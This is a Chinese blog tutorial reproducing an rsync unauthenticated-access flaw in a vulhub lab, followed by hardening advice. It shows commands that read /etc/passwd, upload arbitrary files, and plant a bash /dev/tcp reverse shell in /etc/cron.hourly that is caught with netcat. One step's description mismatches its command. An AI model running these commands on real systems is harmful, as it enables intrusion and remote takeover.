• rsync未授权访问漏洞复现


    rsync未授权访问漏洞简介

    rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口。由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件。

    rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。

    rsync未授权访问漏洞复现

    漏洞环境搭建

    cd vulhub-master/rsync/common
    docker-compose up -d 
    

    漏洞复现

    rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他工具对目标服务器进行端口扫描,当检测到目标服务器开放873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件,rsync未授权访问漏洞的检测就是如此简单。

    1、nmap扫描目标系统是否开放rsync服务

    nmap -p 873 192.168.0.113
    

    2、使用如下两条命令之一,列出目标服务器的同步目录

    rsync 192.168.0.113::
    rsync rsync://192.168.0.113:873
    //rsync ip::
    //rsync rsync://ip:873
    

    3、查看模块文件

    获取到目录之后,只需在路径后添加目录名即可查看目录中的文件

    rsync 192.168.0.113::src
    


    4、下载任意目录文件

    rsync -av 192.168.0.113::src/etc/passwd ./
    //rsync -av ip::src/路径
    

    5、向目标系统上传任意文件

    rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1
    //rsync -av 文件路径 rsync://ip:873/目标系统文件路径
    


    rsync未授权访问漏洞扫描探测

    1、namp

    nmap -p 873 --script rsync-list-modules 192.168.2.102
    


    2、metasploit

    rsync未授权访问漏洞反弹shell

    1、下载cron定时任务配置文件并且查看任务内容

    rsync -av shell rsync://192.168.2.102:873/src/etc/cron.hourly
    //17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
    //表示17分钟会启动/etc/cron.hourly目录下文件的任务
    


    2、创建shell文件,写入反弹shell命令

    touch shell
    //文件写入反弹shell命令
    !/bin/bash
    /bin/bash -i >& /dev/tcp/192.168.2.101/8888 0>&1
    

    3、传入/etc/cron.hourly目录下

    rsync -av shell rsync://192.168.2.102:873/src/etc/cron.hourly
    

    4、监听8888端口,等待17分钟之后,接收反弹shell

    nc -lvp 8888
    

    rsync未授权访问漏洞攻击流量分析


    rsync未授权访问漏洞修复

    更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
    访问控制;设置host allow,限制允许访问主机的IP。
    权限控制;设置read only,将模块设置成只读。
    访问认证;设置auth、secrets,认证成功才能调用服务。
    模块隐藏;设置list,将模块隐藏。
    详情可参考官方doc:https://rsync.samba.org/ftp/rsync/rsyncd.conf.html

    参考链接

    freebuf-每日漏洞 | rsync未授权访问
    Tide安全团队-rsync未授权访问漏洞利用复现

    声明

    严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

  • 相关阅读:
    ASP.NET 表单验证 Part.1(理解表单验证)
    Silverlight 简介 Part.3(设计 Siverlight 页面)
    ASP.NET 成员资格 Part.3(LoginStatus、LoginView、PasswordRecovery)
    ASP.NET 网站部署 Part.1(安装IIS、复制文件部署网站)
    ASP.NET Dynamic Data Part.1(创建动态数据应用程序)
    ASP.NET 安全模型 Part.2(SSL)
    ASP.NET MVC Part.2(扩展基本的 MVC 应用程序)
    ASP.NET 网站部署 Part.2(使用 Web 部署)
    开发高级 Web 部件
    创建 Web 部件(WebPart 类、简单的 Web 部件)
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/13279101.html
Copyright © 2020-2023  润新知